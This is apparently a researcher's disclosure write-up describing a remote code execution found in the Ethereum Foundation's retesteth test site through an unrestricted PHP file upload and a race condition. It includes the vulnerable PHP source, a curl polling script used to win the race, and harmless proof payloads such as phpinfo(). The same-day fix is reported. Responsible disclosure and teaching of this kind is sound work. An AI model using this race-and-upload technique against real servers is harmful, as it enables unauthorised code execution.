TL;DR
Technical plot: I found RCE in retesteth, the Ethereum Foundation’s official blockchain testing infrastructure created to prepare for “The Merge” (Ethereum’s transition from Proof of Work to Proof of Stake1). The exploit was a file upload race condition that otherwise resulted in a 404 error. Ethereum has since migrated to a new testing framework.
Personal plot: I challenged myself to hack the next interesting system I stumbled into, and retesteth took me down a rabbit hole. I found and (safely) exploited a RCE vulnerability in a single night. This was the hacker victory I dreamt of as a teenager that made me fall in love with hacking.
Hacker Pride
There’s nothing more awesome than being a hacker. To me, a hacker is someone who sees something, and knows they can hack it. The ability to perform “I came, I saw, I conquered” on anything. That’s the mindset that motivated me to find vulnerabilities in my home router and uTorrent, which I both use often.
But I used my router and uTorrent too often — when I hacked them, it was less “I came, I saw, I conquered,” and more “I’ve been seeing this for awhile, I conquered.” It lacked the hacking spontaneity that reflects the movie-like prowess I wanted so badly. So I challenged myself to hack the next digital system that caught my interest.
That afternoon I came across retesteth, the ethereum testing framework developed and hosted by the Ethereum Foundation. I challenged myself to hack it.
First Impression

retesteths goal was to allow any ethereum developer to easily test their implementation against the official specification.
Hacking the official site hosting retesteth could have a real impact. I would be able to control the results of blockchain tests, silently influencing ethereum developers to change their code to align to my specifications (evil laugh). Jokes aside, that would have serious implications. Influencing the implementation of ethereum nodes could break the blockchain. Any protocol-observable difference between nodes would cause a chain split, and could be devastating for the billions of digital assets2 transacting on the ethereum blockchain.
Attempted Penetration
I navigated to the site’s interactive protocol testing page (archive link):
At the bottom, a shiny command box was calling my name. RCE seemed one button away. I entered `sleep 10` in the custom command box, and clicked submit. I hoped the request would take 10 seconds, showing I can inject commands.
But nothing exciting happened. The request completed immediately. It didn’t sleep, and neither could I until I hacked into this site.
I found the source code on the Ethereum Foundation’s Github. I debugged why my command injection attempt didn’t work and saw they were correctly using escapeshellcmd to prevent command injection:
// ...
$arg = escapeshellcmd("/data/retesteth/build/retesteth/retesteth " . $retesteth_option . $addtestpath);
$output = bashColorToHtml(shell_exec($arg. " 2>&1"));
echo "<pre class='bash'><span style='color:#D3D3D3'><span style='color:#D3D3D3'>".$output."</span></pre>";
// ...
(yes, the last line has XSS since it doesn’t escape HTML characters, but it’s not persistent and not the RCE I was after)
Undeterred, I saw two possible ways to achieve RCE leveraging the /data/retesteth/build/retesteth/retesteth executable:
-
Find a helpful command line argument that can run arbitrary code. The hope is to find a feature similar to
find’s-execfunctionality which executes a command (man page). -
Find a memory corruption vulnerability I can trigger by passing in a malicious test file.
I examined the source code but didn’t find a “run your own arbitrary code” feature. There was no magical -execute argument. Option 1 from above is ruled out.
Option 2 was possible, but I knew that even after finding a vulnerability, exploiting it would likely be unreliable. So I saved this attack vector for later and continued exploring more promising directions.
Second Swing
The next prime PHP security attraction was the file uploading feature. The retesteth webapp accepts user-supplied test files. And a vulnerability in the file upload logic could allow uploading a PHP webshell, which would lead to RCE!
I found I could upload any file:
$uploadOk = 1;
$target_dir = "/data/web/web/uploads/";
$target_file = $target_dir . basename($_FILES["testToUpload"]["name"]);
if (file_exists($target_file)) {
unlink($target_file);
}
if ($_FILES["testToUpload"]["size"] > 1048510 * 20) {
$errors[] = "Sorry, your file is too large.";
$uploadOk = 0;
}
if ($uploadOk)
{
//
// Mav comment: no extension allowlist, can upload a .php file!
//
if (move_uploaded_file($_FILES["testToUpload"]["tmp_name"], $target_file))
echo "The file ". htmlspecialchars( basename( $_FILES["testToUpload"]["name"])). " has been uploaded.</br>";
else
$errors[] = "Sorry, there was an error uploading your file.</br>";
}
But… the cleanup deletes the uploaded file at end of the request:
if (!empty($target_file))
{
// ...
$contents = fread($handle, filesize($filled_file));
fclose($handle);
echo "Executed test: <button onclick=\"copytext()\">Copy text</button>";
echo "<pre class='bash'><span style='color:#D3D3D3'><span style='color:#D3D3D3' id='generatedfile'>". $contents."</span></pre>";
//
// Mav comment: deletes uploaded file at end of request
//
unlink($filled_file);
}
Even if I could upload a webshell, I didn’t know whether I could fetch it over HTTP before the cleanup job deleted it.
404 to RCE
Can I fetch whatever gets uploaded before it’s deleted?
I assumed uploads land under http://retesteth.ethdevops.io/web/uploads/ because that page gave a 403 Forbidden error, showing it exists. If it didn’t exist, the error would be 404 Not Found.
But uploading a.json then fetching http://retesteth.ethdevops.io/web/uploads/a.json gave a 404! This means either: (1) Uploaded files aren’t saved in /uploads/, or (2) by the time I fetched a.json, the system had already deleted it.
One way to find out was to try and catch the file on the server before it was deleted (but after it was uploaded). I ran a simple background script that fetched /uploads/a.json in a tight loop:
# race.sh
#
# poll the file URL until it stops 404‑ing
#
while [[ $(curl -s -o /dev/null -w "%{http_code}" http://retesteth.ethdevops.io/web/uploads/a.json) == 404 ]];
do
echo "Still 404..."
sleep 0.01
done
curl -s http://retesteth.ethdevops.io/web/uploads/a.json
While this script ran, I manually uploaded a.json to the server.
When I went back to my terminal window, I saw my experiment worked! The URL flipped from 404 to 200 for a brief moment, proving the file was reachable!
$ ./race.sh
Still 404...
Still 404...
Still 404...
Still 404...
{
"CALL_Bounds3_d0g0v0_Cancun" : {
"_info" : {
# rest of a.json contents ...
Can I execute whatever gets uploaded?
I confirmed I can reach uploaded files, but the next question was would the server execute a .php file in that directory?
On a typical PHP stack, requests for .php files get handed to php‑fpm and executed as code3. If that was true here, I just needed to swap a.json for a.php and win the same race.
So I did. I uploaded a.php with a tiny payload:
<?php echo "Hello!"; ?>
Again, I ran the script in the background, while uploading a.php through my browser. Again, it worked!
Result:
$ ./race.sh
Still 404...
Still 404...
Still 404...
Still 404...
Hello!
To be 100% sure I wasn’t hallucinating, I upgraded the payload to something unmistakable, the famous phpinfo().
Result:
Still 404...
Still 404...
Still 404...
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<style type="text/css">
... # rest of phpinfo html
Extracting and rendering the phpinfo html marked a beautiful victory:
I reported the vulnerability to the responsible developer at the Ethereum Foundation and it was fixed within hours.
Reflection and Hibernation
Victorious and proud, I was ready to go to sleep. But I was full of emotion. Even though I have found 0-days in far more impressive targets, I felt this win was special. It took me back to my earliest days.
I had been hacking so late into the night, it was now morning. Sunlight started coming in through my window, telling me it was time go to bed. Just as it did when I first started hacking as a teenager.
I felt fulfilled that I pushed myself and didn’t give up, pushing through the night, just as I did when I was a teenager.
And I then went to sleep, knowing I’ll be skipping classes that day, just as I did when I was a teenager.
Timeline
- Initial report: Fri, Sep 20, 2024
- Maintainer response: Fri, Sep 20, 2024
- Fix announced: Fri, Sep 20, 2024


